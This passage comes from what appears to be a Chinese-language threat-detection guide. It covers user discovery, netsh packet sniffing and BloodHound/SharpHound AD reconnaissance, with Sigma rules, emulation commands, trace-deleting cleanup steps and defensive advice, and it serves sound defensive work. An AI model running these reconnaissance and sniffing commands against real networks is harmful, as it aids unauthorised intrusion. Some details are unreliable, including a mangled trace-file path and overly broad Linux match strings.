whoami、net、quser、qwinsta、PowerShell、WMIC 执行 Windows 用户发现的行为 references: - https://attack.mitre.org/techniques/T1033/ - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1033/T1033.md tags: - attack.discovery - attack.t1033 status: experimental author: 0x783kb logsource: category: process_creation product: windows detection: selection_cmd: EventID: 4688 # 新进程创建 NewProcessName|endswith: - '\whoami.exe' - '\net.exe' - '\quser.exe' - '\qwinsta.exe' CreatorProcessName|endswith: '\cmd.exe' ProcessCommandLine|contains: - 'user /domain' - 'group /domain' - 'group "Domain Admins' - 'config Workstation' - 'quser' - 'qwinsta' selection_powershell: EventID: 4104 # PowerShell 脚本块日志 ScriptBlockText|contains: - 'Get-LocalUser' - 'Get-ADUser' selection_wmi: EventID: 4688 # 新进程创建 NewProcessName|endswith: '\wmic.exe' ProcessCommandLine|contains: 'useraccount' selection_sysmon_network: EventID: 3 # Sysmon 网络过滤 DestinationPort|in: - 389 - 636 - 137 - 138 - 139 - 445 Image|endswith: - '\net.exe' - '\quser.exe' - '\qwinsta.exe' condition: selection_cmd or selection_powershell or selection_wmi or selection_sysmon_network timeframe: 5m fields: - NewProcessName - ProcessCommandLine - ScriptBlockText - DestinationPort level: medium falsepositives: - 合法的IT管理工具可能触发类似行为 - 系统管理员手动运行用户查询命令 ``` #### Linux ```yml title: Linux系统所有者/用户发现 description: 检测通过who或w执行Linux系统用户发现的行为 references: - https://attack.mitre.org/techniques/T1033/ tags: - attack.discovery - attack.t1033 status: experimental author: 0x783kb logsource: product: linux service: auth detection: selection: EventType: execve Command|contains: - 'who' - 'w' condition: selection timeframe: 5m fields: - Command level: medium falsepositives: - 系统管理员运行用户查询命令 - 自动化脚本执行who或w ``` ### 检测思路 1. **Windows 进程监控**: - 监控 `whoami.exe`、`net.exe`、`quser.exe`、`qwinsta.exe`、`powershell.exe` 和 `wmic.exe` 的进程创建(事件 ID 4688)。 - 关注命令行参数中包含 `user`, `group`, `quser`, `qwinsta` 或 `config Workstation` 的行为。 2. **Windows PowerShell 监控**: - 启用 PowerShell 脚本块日志,检测 `Get-LocalUser` 或 `Get-ADUser` 的执行。 3. **Windows WMI 监控**: - 检测 `wmic.exe` 进程启动,尤其是命令行中包含 `useraccount` 的情况。 4. **Windows 网络监控**: - 使用 Sysmon 事件 ID 3 监控 LDAP(389/636)或 NetBIOS/SMB(137/138/139/445)流量。 5. **Linux 命令监控**: - 使用 `auditd` 或系统日志监控 `who` 和 `w` 命令的执行。 6. **行为分析**: - 检测短时间内高频的用户查询行为(5 分钟内多次触发)。 - 结合上下文(如异常用户、未知父进程)提高检测准确性。 ## 建议 1. **防御措施**: - **Windows**: - 限制普通用户对用户查询工具(如 `net`, `quser`)的执行权限。 - 启用组策略,限制 PowerShell 和 WMIC 的使用。 - 部署 EDR 工具,监控异常用户查询行为。 - 使用防火墙阻止未经授权的 LDAP(389/636)或 NetBIOS/SMB(137/138/139/445)流量。 - **Linux**: - 限制普通用户对 `who` 和 `w` 的执行权限。 - 使用 `auditd` 监控用户相关命令执行。 2. **检测优化**: - 监控短时间内高频的用户查询行为(5 分钟内多次触发)。 - 结合上下文分析,如异常用户账户、非常规时间段或未知父进程。 - 检测 LDAP(389/636)、NetBIOS(137/138/139)或 SMB(445)流量,识别用户发现。 3. **降低误报**: - 排除已知的IT管理工具或合法脚本触发的行为。 - 配置白名单,过滤常见管理员操作(如 `whoami` 用于诊断)。 4. **其他工具**: - 攻击者可能使用第三方工具(如 Mimikatz 获取用户凭据)或自定义脚本,建议监控未知可执行文件的运行和异常网络流量。 ## 参考推荐 - MITRE ATT&CK: T1033 - Atomic Red Team - T1033 测试用例 - Linux Auditd 配置指南 - Linux 安全强化指南 - WMIC 后渗透利用 ================================================ FILE: Windows/09发现/T1040-win-使用netsh进行网络嗅探.md ================================================ # T1040-Win-使用netsh进行网络嗅探 ## 描述 攻击者通过网络嗅探(T1040)使用系统上的网络接口监视或捕获通过有线或无线连接发送的数据,以获取用户凭据(尤其是通过不安全协议如 FTP、HTTP、Telnet 发送的明文凭据)、网络配置细节(如运行服务、版本号、IP 地址、主机名、VLAN ID)或其他支持横向移动、防御逃避的网络特征。在 Windows 系统中,攻击者可能利用内置工具 `netsh trace` 将网络接口置于混杂模式,捕获传输中的数据并保存为 ETL 文件(通常位于 `%temp%\trace.etl`),或使用第三方工具如 Wireshark、tcpdump(通过 WSL)。攻击者还可能通过跨接端口或 ARP 欺骗捕获更广泛的流量。捕获的数据可用于识别高价值目标、规划攻击路径或窃取敏感信息。攻击者可能通过重命名 `netsh`、更改输出路径或结合其他工具规避检测。本文档聚焦于 Windows 平台使用 `netsh trace` 的检测和防御。 ## 测试案例 ### 环境 - 操作系统:Windows Server 2019 / Windows 10 - 权限:管理员权限 - 工具:CMD、`netsh` ### 测试案例 1:基本网络嗅探 ```dos netsh trace start capture=yes tracefile=%temp%\trace.etl maxsize=10 ``` **输出示例**: ``` 跟踪配置: ------------------------------------------------------------------- 状态: 正在运行 跟踪文件: C:\Users\heihei\AppData\Local\Temp\trace.etl 附加: 关闭 循环: 启用 最大大小: 10 MB 报告: 关闭 ``` **清除命令**: ```dos netsh trace stop >nul 2>&1 timeout /t 5 >nul 2>&1 del %temp%\trace.etl >nul 2>&1 del %temp%\trace.cab >nul 2>&1 ``` **说明**: - 启动网络嗅探,捕获数据保存至 `%temp%\trace.etl`,最大文件大小 10 MB。 - 清除命令停止嗅探并删除生成的 ETL 和 CAB 文件,`timeout` 确保文件释放。 ### 测试案例 2:自定义输出路径 ```dos netsh trace start capture=yes tracefile=C:\Temp\custom_trace.etl maxsize=50 report=yes ``` **输出示例**: ``` 跟踪配置: ------------------------------------------------------------------- 状态: 正在运行 跟踪文件: C:\Users\heihei\ustom_trace.etl 附加: 关闭 循环: 启用 最大大小: 50 MB 报告: 启用 ``` **清除命令**: ```dos netsh trace stop >nul 2>&1 timeout /t 5 >nul 2>&1 del C:\Users\heihei\ustom_trace.etl >nul 2>&1 del C:\Users\heihei\ustom_trace.cab >nul 2>&1 ``` **说明**: - 使用自定义输出路径 `C:\Users\heihei\ustom_trace.etl`,启用报告生成(`report=yes`)。 - 攻击者可能使用非默认路径规避检测。 **注意**: - 所有命令需以管理员权限运行。 - ETL 文件可用 Microsoft Network Monitor 或 Wireshark 分析。 ## 检测日志 - **安全日志**: - 事件 ID 4688: 进程创建,记录 `netsh.exe` 的执行。 - **Sysmon 日志**: - 事件 ID 1: 进程创建,记录 `netsh trace start` 的命令行参数。 - 事件 ID 11: 文件创建,记录 `trace.etl` 或 `trace.cab` 文件的生成。 - **PowerShell 日志**: - 事件 ID 4103/4104: 若通过 PowerShell 执行 `netsh`,记录相关脚本块。 - **网络日志**: - 异常流量模式,如大量 ICMP、ARP 或未加密协议(如 FTP、HTTP)流量。 - **要求**: - 启用 `Audit Process Creation`(安全日志)。 - 部署 Sysmon,配置进程创建(事件 ID 1)和文件创建(事件 ID 11)监控。 - 启用 PowerShell `Script Block Logging` 和 `Module Logging`. - 使用网络监控工具(如 Zeek 或 Suricata)检测异常流量。 ## 测试留痕 - **进程相关**: - 进程创建: `netsh.exe`。 - 父进程: 如 `cmd.exe` 或 `powershell.exe`。 - 命令行参数: 如 `netsh trace start capture=yes tracefile=C:\Temp\trace.etl maxsize=10`. - **文件相关**: - 文件创建: `trace.etl` 和 `trace.cab`(默认路径 `%temp%` 或自定义路径如 `C:\Temp`)。 - 可能的输出重定向文件(如 `netsh trace start > output.txt`)。 - **网络痕迹**: - 混杂模式启用,可能触发网络接口状态变化。 - 异常流量,如大量 ARP 请求、未加密协议流量(FTP、HTTP、Telnet)。 - **注册表相关**: - 可能的临时配置存储在 `HKLM\System\CurrentControlSet\Services\Tcpip\Parameters`. - **隐藏手段**: - 重命名 `netsh.exe`(如 `svc.exe`)。 - 使用非默认输出路径(如 `C:\Windows\Temp\hidden.etl`)。 - 立即删除 `trace.etl` 和 `trace.cab` 文件。 - 通过 PowerShell 或脚本调用 `netsh` 规避命令行检测. - 使用 ARP 欺骗或中间人攻击隐藏嗅探行为。 ## 检测规则/思路 ### Sigma 规则 ```yml title: Windows使用netsh进行网络嗅探 description: 检测通过netsh trace命令执行网络嗅探的行为,测试于Windows Server 2019 references: - https://attack.mitre.org/techniques/T1040/ - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1040/T1040.md tags: - attack.collection - attack.t1040 status: experimental author: 0x783kb logsource: product: windows category: process_creation detection: selection_cmd: EventID: 1 # Sysmon 进程创建 Image|endswith: '\netsh.exe' CommandLine|contains: - 'trace start' - 'capture=yes' selection_file: EventID: 11 # Sysmon 文件创建 TargetFilename|endswith: - '\trace.etl' - '\trace.cab' condition: selection_cmd or selection_file timeframe: 5m fields: - Image - CommandLine - TargetFilename level: medium falsepositives: - 管理员使用netsh trace进行网络诊断 - 合法的IT管理工具(如网络监控软件)触发类似行为 ``` ### 检测思路 1. **进程监控**: - 监控 `netsh.exe` 的进程创建(Sysmon 事件 ID 1),关注命令行参数中包含 `trace start` 和 `capture=yes` 的行为。 2. **文件监控**: - 检测 `trace.etl` 和 `trace.cab` 文件的创建(Sysmon 事件 ID 11),包括默认路径(`%temp%`)和自定义路径。 3. **网络监控**: - 使用网络监控工具检测混杂模式启用、大量 ARP 请求或未加密协议流量(如 FTP、HTTP)。 - 监控 ARP 欺骗或中间人攻击的迹象,如异常 ARP 广播。 4. **行为分析**: - 检测短时间内高频的 `netsh trace` 执行或文件创建(5 分钟内多次触发)。 - 结合上下文,如异常用户账户、非常规时间段或未知父进程。 5. **PowerShell 监控**: - 若通过 PowerShell 调用 `netsh`,检测相关脚本块(事件 ID 4103/4104)。 ## 建议 1. **防御措施**: - 限制普通用户对 `netsh.exe` 的执行权限,需管理员权限运行。 - 启用组策略,监控或阻止 `%temp%` 或自定义路径下的 `.etl` 和 `.cab` 文件创建。 - 部署 EDR 工具,检测异常 `netsh` 执行或网络接口状态变化。 - 使用防火墙阻止未经授权的 ARP 广播或异常流量(如 FTP、HTTP 明文协议)。 - 强制使用加密协议(如 HTTPS、SFTP)减少明文凭据泄露。 2. **检测优化**: - 监控短时间内高频的 `netsh trace` 执行或文件创建(5 分钟内多次触发)。 - 结合上下文分析,如异常用户账户、非常规时间段或未知父进程。 - 检测异常网络流量模式,如大量 ARP 请求、未加密协议流量或混杂模式启用。 - 使用网络监控工具(如 Zeek、Suricata)检测 ARP 欺骗或中间人攻击。 3. **降低误报**: - 排除管理员用于网络诊断的合法 `netsh trace` 操作。 - 配置白名单,过滤已知IT管理工具(如 Microsoft Network Monitor)。 4. **其他工具**: - 攻击者可能使用第三方工具(如Wireshark、tcpdump)或自定义脚本,建议监控未知可执行文件的运行和异常网络流量。 ## 参考推荐 - MITRE ATT&CK: T1040 - Atomic Red Team - T1040 测试用例 - Zeek 网络监控 ================================================ FILE: Windows/09发现/T1049-win-bloodhound使用.md ================================================ # T1049/1069-Win-Windows BloodHound和SharpHound使用 ## 描述 **T1049 - 系统网络连接发现**:攻击者通过系统网络连接发现(T1049)获取受感染系统与网络上其他系统之间的连接信息,以绘制网络拓扑、识别活跃服务或为横向移动、权限提升或数据窃取做准备。工具如 BloodHound(通过 SharpHound 收集器)可枚举 Active Directory(AD)环境中的网络会话(如 SMB 会话、Kerberos 票据),揭示主机之间的连接关系。 **T1069 - 权限组发现**:攻击者通过权限组发现(T1069)收集本地系统或域级别的组和权限设置信息,以识别高权限账户(如域管理员)、组成员关系或权限配置漏洞。BloodHound 通过查询 LDAP 和 GPO(组策略对象)收集域用户、组及其权限关系,生成攻击路径图。 **BloodHound 概述**:BloodHound 是一个开源的 Active Directory 侦察工具,结合 SharpHound(数据收集器)和 BloodHound GUI(基于 Neo4j 数据库的 JavaScript Web 应用程序),用于分析 AD 环境的权限关系和网络连接。攻击者使用 BloodHound 识别复杂的攻击路径(如从普通用户到域管理员的提权路径),而防御者可利用其发现并修复权限配置漏洞。SharpHound 通过 PowerShell 或 C# 脚本收集 AD 数据(如用户、组、计算机、会话、ACL),生成 JSON 文件或 ZIP 压缩包,供 BloodHound 分析。攻击者可能通过 BloodHound 枚举网络会话(T1049)、权限组(T1069)或信任关系,规划横向移动或权限提升。本文档聚焦于 Windows 平台下 BloodHound 和 SharpHound 的检测与防御。 ## 测试案例 ### 环境 - 操作系统:Windows Server 2016/Windows 10,域环境 - 权限:域用户权限(部分操作需要域管理员权限) - 工具:SharpHound.exe、PowerShell、BloodHound GUI(需Neo4j数据库) - 前提:已安装BloodHound和SharpHound,域内可访问域控制器 ### 测试案例 1:SharpHound - 完整收集(All) **关联技术**:T1049(会话枚举)、T1069(组和权限枚举) ```dos SharpHound.exe -c All --ZipFileName bloodhound_data.zip ``` **输出示例**: ``` 2025-05-25 19:08:14 INFO - SharpHound Enumeration Started 2025-05-25 19:08:15 INFO - Collecting Group Memberships 2025-05-25 19:08:16 INFO - Collecting Active Sessions 2025-05-25 19:08:17 INFO - Collecting ACLs 2025-05-25 19:08:18 INFO - Writing output to C:\Users\user1\bloodhound_data.zip 2025-05-25 19:08:19 INFO - Enumeration Completed ``` **说明**: - 使用 `-c All` 收集所有 AD 数据(用户、组、计算机、会话、ACL、GPO)。 - 生成 ZIP 文件(`bloodhound_data.zip`)包含 JSON 数据。 - T1049:枚举活跃会话(如 SMB 会话)。 - T1069:收集组成员和权限关系。 ### 测试案例 2:SharpHound - 会话收集(Session) **关联技术**:T1049(网络会话枚举) ```dos SharpHound.exe -c Session --JsonFolder C:\Temp\bloodhound_session ``` **输出示例**: ``` 2025-05-25 19:08:20 INFO - SharpHound Enumeration Started 2025-05-25 19:08:21 INFO - Collecting Active Sessions 2025-05-25 19:08:22 INFO - Writing output to C:\Temp\bloodhound_session\sessions.json 2025-05-25 19:08:23 INFO - Enumeration Completed ``` **说明**: - 使用 `-c Session` 仅收集网络会话数据(如用户登录的计算机)。 - 输出 JSON 文件到指定文件夹。 - T1049:聚焦于网络连接和会话发现。 ### 测试案例 3:SharpHound - 域控制器收集(DCOnly) **关联技术**:T1069(域权限枚举) ```dos SharpHound.exe -c DCOnly --NoSaveCache ``` **输出示例**: ``` 2025-05-25 19:08:24 INFO - SharpHound Enumeration Started 2025-05-25 19:08:25 INFO - Collecting Domain Controller Data 2025-05-25 19:08:26 INFO - Writing output to default JSON files 2025-05-25 19:08:27 INFO - Enumeration Completed ``` **说明**: - 使用 `-c DCOnly` 收集域控制器相关数据(如 GPO、信任关系)。 - `--NoSaveCache` 避免缓存数据,减少留痕。 - T1069:聚焦于域级权限和组信息。 ### 测试案例 4:PowerShell - Invoke-BloodHound **关联技术**:T1049、T1069 ```powershell Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp\bloodhound_output ``` **输出示例**: ``` [*] Starting BloodHound data collection [*] Collecting Group Memberships [*] Collecting Active Sessions [*] Collecting ACLs [*] Output written to C:\Temp\bloodhound_output [*] Data collection completed ``` **说明**: - 使用 PowerShell 脚本 `Invoke-BloodHound` 收集 AD 数据。 - 输出 JSON 文件到指定目录。 - T1049:枚举会话;T1069:收集组和权限。 **注意**: - 所有命令需在域环境中运行,普通域用户权限通常足够。 - 输出文件(JSON 或 ZIP)可导入 BloodHound GUI 进行分析。 - 攻击者可能将输出文件传输到外部系统以规避检测。 ## 检测日志 - **安全日志**: - 事件 ID 4688:进程创建,记录 `SharpHound.exe`、`powershell.exe` 或 `BloodHound.exe` 的执行。 - 事件 ID 5145:网络共享对象访问,记录对 AD 对象的查询(如 SMB 会话)。 - **Sysmon 日志**: - 事件 ID 1:进程创建,记录命令行参数(如 `-c All`)。 - 事件 ID 3:网络连接,记录 LDAP(389/636)或 SMB(445)查询。 - 事件 ID 11:文件创建,记录 JSON 或 ZIP 文件的生成。 - **PowerShell 日志**: - 事件 ID 4103/4104:记录 PowerShell 脚本执行,如 `Invoke-BloodHound` 或 `Get-BloodHoundData`. - **网络日志**: - 异常 LDAP 查询(端口 389/636),如高频查询用户、组或 ACL。 - SMB 流量(端口 445),用于会话枚举。 - Kerberos 票据请求(端口 88),用于认证。 - **要求**: - 启用 `Audit Process Creation` 和 `Audit Object Access`(安全日志)。 - 部署 Sysmon,配置进程创建(事件 ID 1)、文件创建(事件 ID 11)和网络连接(事件 ID 3)监控。 - 启用 PowerShell `Script Block Logging` 和 `Module Logging`. - 使用网络监控工具(如 Zeek 或 Suricata)检测异常 LDAP 或 SMB 流量。 ## 测试留痕 - **进程相关**: - 进程创建:`SharpHound.exe`、`BloodHound.exe`、`powershell.exe`。 - 父进程:如 `cmd.exe` 或 `powershell.exe`。 - 命令行参数:如 `SharpHound.exe -c All`、`Invoke-BloodHound -CollectionMethod All`。 - **文件相关**: - 文件创建:JSON 文件(如 `sessions.json`)、ZIP 压缩包(如 `bloodhound_data.zip`)。 - 默认路径:当前目录或指定路径(如 `C:\Temp\bloodhound_output`)。 - 可能的输出重定向文件(如 `SharpHound.exe > output.txt`)。 - **网络痕迹**: - LDAP 查询(端口 389/636),用于收集用户、组、ACL。 - SMB 流量(端口 445),用于会话枚举。 - Kerberos 票据请求(端口 88),用于认证。 - **注册表相关**: - 可能的临时配置存储在 `HKLM\Software` 或 `HKCU\Software`(如 Neo4j 配置)。 - **隐藏手段**: - 重命名 `SharpHound.exe`(如 `svc.exe`)。 - 使用编码后的 PowerShell 脚本(如 `Invoke-Obfuscation`)。 - 立即删除 JSON 或 ZIP 文件。 - 通过网络传输输出文件(如 FTP、HTTP)以减少本地痕迹。 - 使用 `--NoSaveCache` 参数避免缓存数据。 ## 检测规则/思路 ### Sigma 规则 ```yml title: Windows BloodHound和SharpHound活动检测 description: 检测 BloodHound和SharpHound在Windows环境中执行的系统网络连接和权限组发现行为 references: - https://attack.mitre.org/techniques/T1049/ - https://attack.mitre.org/techniques/T1069/ - https://github.com/BloodHoundAD/BloodHound - https://github.com/BloodHoundAD/SharpHound tags: - attack.discovery - attack.t1049 - attack.t1069 status: experimental author: 0x783kb logsource: product: windows category: process_creation detection: selection_process: EventID: 1 # Sysmon 进程创建 Image|endswith: - '\BloodHound.exe' - '\SharpHound.exe' - '\powershell.exe' CommandLine|contains: - '-c All' - '-CollectionMethod All' - '-c Session' - '-c DCOnly' - '--NoSaveCache' - 'Invoke-BloodHound' - 'Get-BloodHoundData' selection_file: EventID: 11 # Sysmon 文件创建 TargetFilename|endswith: - '.json' - '.zip' TargetFilename|contains: 'bloodhound' selection_network: EventID: 3 # Sysmon 网络连接 DestinationPort|in: - 389 - 636 - 445 - 88 Image|endswith: - '\SharpHound.exe' - '\powershell.exe' condition: selection_process or selection_file or selection_network timeframe: 5m fields: - Image - CommandLine - TargetFilename - DestinationPort level: medium falsepositives: - 管理员或安全团队使用BloodHound进行AD安全审计 - 合法程序生成类似JSON或ZIP文件 - 合法PowerShell脚本包含类似关键词 ``` ### 检测思路 1. **进程监控**: - 监控 `BloodHound.exe`、`SharpHound.exe` 和 `powershell.exe` 的进程创建(Sysmon 事件 ID 1)。 - 关注命令行参数中包含 `-c All`、`-c Session`、`-c DCOnly`、`Invoke-BloodHound` 或 `Get-BloodHoundData` 的行为。 2. **文件监控**: - 检测 JSON 或 ZIP 文件的创建(Sysmon 事件 ID 11),特别是文件名包含 `bloodhound` 的文件。 3. **网络监控**: - 监控 LDAP(389/636)、SMB(445)和 Kerberos(88)流量(Sysmon 事件 ID 3),识别 AD 查询行为。 4. **PowerShell 监控**: - 检测 PowerShell 脚本执行(事件 ID 4103/4104),如 `Invoke-BloodHound` 或 `Get-BloodHoundData`。 5. **行为分析**: - 检测短时间内高频的 AD 查询或文件创建(5 分钟内多次触发)。 - 结合上下文,如异常用户账户、非常规时间段或未知父进程。 ## 建议 1. **防御措施**: - 限制非管理员用户执行 `SharpHound.exe` 或 `BloodHound.exe`,需管理员权限运行。 - 启用组策略,监控或阻止 PowerShell 脚本执行(如 `Invoke-BloodHound`)。 - 部署 EDR 工具,检测异常 AD 查询或文件创建行为。 - 使用防火墙阻止未经授权的 LDAP(389/636)、SMB(445)或 Kerberos(88)流量。 - 定期审计 AD 权限配置,修复过度权限(如非必要的域管理员账户)。 2. **检测优化**: - 监控短时间内高频的 AD 查询或文件创建(5 分钟内多次触发)。 - 结合上下文分析,如异常用户账户、非常规时间段或未知父进程。 - 检测异常 LDAP、SMB 或 Kerberos 流量,识别 BloodHound 活动。 - 使用网络监控工具(如 Zeek、Suricata)检测高频 AD 查询。 3. **降低误报**: - 排除管理员或安全团队用于 AD 审计的合法 BloodHound 操作。 - 配置白名单,过滤已知安全工具(如 BloodHound 用于蓝队测试)。 - 验证 JSON 或 ZIP 文件的内容,确保与 BloodHound 相关。 4. **其他工具**: - 攻击者可能使用其他 AD 侦察工具(如 PowerView、ADRecon),建议监控类似 LDAP/SMB 查询行为。 - 检测未知可执行文件的运行和异常网络流量。 ## 参考推荐 - MITRE ATT&CK: T1049 - MITRE ATT&CK: T1069 - BloodHound 官方 GitHub - SharpHound 官方 GitHub - Atomic Red Team - T1049 测试用例 - Atomic Red Team - T1069 测试用例 ================================================ FILE: Windows/09发现/T1049-win-系统网络连接发现.md ================================================ # T1049-Win-系统网络连接发现 ## 描述 攻击者通过系统网络连接发现(T1049)获取受感染系统与网络上其他系统之间的连接信息,以绘制网络拓扑、识别活跃服务或为横向移动、权限提升或数据窃取做准备。在 Windows 系统中,攻击者可能使用原生工具如 `netstat`、`net use`、`net session`,PowerShell 命令(如 `Get-NetTCPConnection`、`Get-NetUDPEndpoint`)或 WMI 查询(如 `Win32_NetworkConnection`)列出活跃连接、映射驱动器或用户会话。在 Linux 系统中,攻击者可能使用 `netstat`、`ss` 或 `ip` 命令枚举连接。在云环境中,获得系统访问权的攻击者可能通过查询虚拟私有云(VPC)或虚拟网络(VNet)使用 API(如 AWS `DescribeNetworkInterfaces` 或 Azure `NetworkInterfaces`)来识别连接的系统和服务。这些信息帮助攻击者了解网络关系、定位高价值目标(如域控制器、文件服务器)或发现配置漏洞。本文档聚焦于 Windows 平台的检测与防御,Linux 平台作为辅助参考。 ## 测试案例 ### 环境 - **Windows**:Windows Server 2016 / Windows 10,普通用户或管理员权限 - **Linux**:Ubuntu 18.04,普通用户权限 - **工具**:CMD、PowerShell、WMIC(Windows);`netstat`、`ss`(Linux) ### 测试案例 1:Windows - 使用 `netstat` ```dos netstat -ano ``` **输出示例**: ``` 活动连接 协议 本地地址 外部地址 状态 PID TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 552 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 4244 TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 824 TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 656 TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1236 TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 1504 TCP 0.0.0.0:49670 0.0.0.0:0 LISTENING 2888 TCP 0.0.0.0:49671 0.0.0.0:0 LISTENING 768 TCP 10.211.55.111:139 0.0.0.0:0 LISTENING 4 ``` **说明**: - 列出活跃的 TCP/UDP 连接及其关联的进程 ID(PID)。 ### 测试案例 2:Windows - 使用 `net use` ```dos net use ``` **输出示例**: ``` 会记录新的网络连接。 状态 本地 远程 网络 ------------------------------------------------------------------------------- Z: \\Mac\Share Parallels Shared Folders 命令成功完成。 ``` **说明**: - 显示映射的网络驱动器及其连接状态。 ### 测试案例 3:Windows - 使用 `net session` ```dos net session #管理员权限 ``` **输出示例**: ``` 计算机 用户名 客户端类型 打开文件 ------------------------------------------------------------------------------- \\192.168.1.101 user1 Windows 10 2 命令成功完成。 ``` **说明**: - 列出远程客户端与本地系统的活跃会话。 ### 测试案例 4:Windows - 使用 PowerShell ```powershell Get-NetTCPConnection ``` **输出示例**: ``` LocalAddress LocalPort RemoteAddress RemotePort State OwningProcess ------------ --------- ------------- ---------- ----- ------------- 192.168.1.100 445 192.168.1.101 49252 Established 4 0.0.0.0 135 0.0.0.0 0 Listen 896 ``` **说明**: - 枚举 TCP 连接及其进程所有权。 ### 测试案例 5:Windows - 使用 WMI ```dos wmic path Win32_NetworkConnection get LocalName, RemoteName ``` **输出示例**: ``` LocalName RemoteName Z: \\Mac\Share ``` **说明**: - 列出网络连接,包括映射的驱动器。 ### 测试案例 6:Linux - 使用 `netstat` ```bash netstat -tuln ``` **输出示例**: ``` Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN udp 0 0 0.0.0.0:123 0.0.0.0:* ``` **说明**: - 列出监听的 TCP/UDP 端口。 ### 测试案例 7:Linux - 使用 `ss` ```bash ss -tuln ``` **输出示例**: ``` Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* udp UNCONN 0 0 0.0.0.0:123 0.0.0.0:* ``` **说明**: - `netstat` 的现代替代工具,列出开放的套接字。 **注意**: - Windows 命令如 `netstat`、`net use` 和 PowerShell 通常只需普通用户权限;`net session` 和 WMI 可能需要管理员权限。 - Linux 命令(`netstat`、`ss`)可由普通用户执行。 - 输出结果可能因网络活动和系统配置而异。 ## 检测日志 - **Windows**: - **安全日志**: - 事件 ID 4688:进程创建,记录 `netstat.exe`、`net.exe`、`powershell.exe` 或 `wmic.exe` 的执行。 - **Sysmon 日志**: - 事件 ID 1:进程创建,包含命令行参数。 - 事件 ID 3:网络连接,记录发现工具发起的出站连接。 - **PowerShell 日志**: - 事件 ID 4103/4104:记录 PowerShell 脚本执行,例如 `Get-NetTCPConnection`。 - **Linux**: - **系统日志**:`/var/log/auth.log` 或 `/var/log/secure`,记录命令执行。 - **命令历史**:`~/.bash_history` 中记录 `netstat` 或 `ss`。 - **Auditd 日志**:`execve` 事件记录 `netstat` 或 `ss` 执行。 - **要求**: - Windows:启用 `Audit Process Creation`(安全日志)、PowerShell `Script Block Logging` 和 `Module Logging`、Sysmon 进程和网络监控。 - Linux:启用 `auditd` 或确保 `/var/log/auth.log` 记录用户命令。 ## 测试留痕 - **Windows**: - **进程相关**: - 进程创建:`netstat.exe`, `net.exe`, `powershell.exe`, `wmic.exe`. - 父进程:如 `cmd.exe` 或 `powershell.exe`。 - 命令行参数:`netstat -ano`, `net use`, `Get-NetTCPConnection`。 - **文件访问**: - 可能的输出文件(如 `netstat -ano > connections.txt`)。 - **网络记录**: - 出站连接查询(如 DNS、LDAP 或 SMB,端口 53、445)。 - **隐藏手段**: - 重命名工具(如 `netstat.exe` 改为 `svc.exe`)。 - 使用编码后的 PowerShell 脚本(如 `Invoke-Obfuscation`)。 - 重定向输出到文件或通过网络传输,避免本地记录。 - **Linux**: - **命令历史**: - `netstat` 或 `ss` 记录在 `~/.bash_history` 中。 - **系统日志**: - `/var/log/auth.log` 或 `/var/log/secure` 记录命令执行。 - **隐藏手段**: - 清空或修改 .bash_history`。 - 使用非交互式 shell 避免记录。 ## 检测规则/思路 ### Sigma 规则 #### Windows ```yml title: Windows系统网络连接发现 description: 检测通过netstat、net use、net session、PowerShell或WMI执行Windows系统网络连接发现的行为 references: - https://attack.mitre.org/techniques/T1049/ - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1049/T1049.md tags: - attack.discovery - attack.t1049 status: experimental author: 0x783kb logsource: category: process_creation product: windows detection: selection_cmd: EventID: 4688 # 新进程创建 NewProcessName|endswith: - '\netstat.exe' - '\net.exe' CreatorProcessName|endswith: '\cmd.exe' ProcessCommandLine|contains: - 'netstat' - 'use' - 'session' selection_powershell: EventID: 4104 # PowerShell 脚本块日志 ScriptBlockText|contains: - 'Get-NetTCPConnection' - 'Get-NetUDPEndpoint' selection_wmi: EventID: 4688 # 新进程创建 NewProcessName|endswith: '\wmic.exe' ProcessCommandLine|contains: 'Win32_NetworkConnection' selection_sysmon: EventID: 1 # Sysmon 进程创建 Image|endswith: - '\netstat.exe' - '\net.exe' - '\powershell.exe' - '\wmic.exe' CommandLine|contains: - 'netstat' - 'use' - 'session' - 'Get-NetTCPConnection' - 'Win32_NetworkConnection' condition: selection_cmd or selection_powershell or selection_wmi or selection_sysmon timeframe: 5m fields: - NewProcessName - ProcessCommandLine - ScriptBlockText level: medium falsepositives: - 合法的IT管理工具可能触发类似行为 - 管理员手动运行网络诊断命令 ``` #### Linux ```yml title: Linux系统网络连接发现 description: 检测通过netstat或ss执行Linux系统网络连接发现的行为 references: - https://attack.mitre.org/techniques/T1049/ - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1049/T1049.md tags: - attack.discovery - attack.t1049 status: experimental author: 0x783kb logsource: product: linux service: auth detection: selection: EventType: execve Command|contains: - 'netstat' - 'ss' condition: selection timeframe: 5m fields: - Command level: medium falsepositives: - 系统管理员运行网络诊断命令 - 自动化脚本执行netstat或ss ``` ### 检测思路 1. **Windows 进程监控**: - 监控 `netstat.exe`、`net.exe`、`powershell.exe` 和 `wmic.exe` 的进程创建(事件 ID 4688)。 - 关注命令行参数中包含 `netstat`、`use`、`session` 或 `Get-NetTCPConnection` 的行为。 2. **Windows PowerShell 监控**: - 启用 PowerShell 脚本块日志,检测 `Get-NetTCPConnection` 或 `Get-NetUDPEndpoint` 的执行。 3. **Windows WMI 监控**: - 检测 `wmic.exe` 进程启动,尤其是命令行中包含 `Win32_NetworkConnection` 的情况。 4. **Linux 命令监控**: - 使用 `auditd` 或系统日志监控 `netstat` 和 `ss` 命令的执行。 5. **行为分析**: - 检测短时间内高频的网络查询行为(5 分钟内多次触发)。 - 结合上下文(如异常用户、未知父进程)提高检测准确性。 ## 建议 1. **防御措施**: - **Windows**: - 限制普通用户对网络查询工具(如 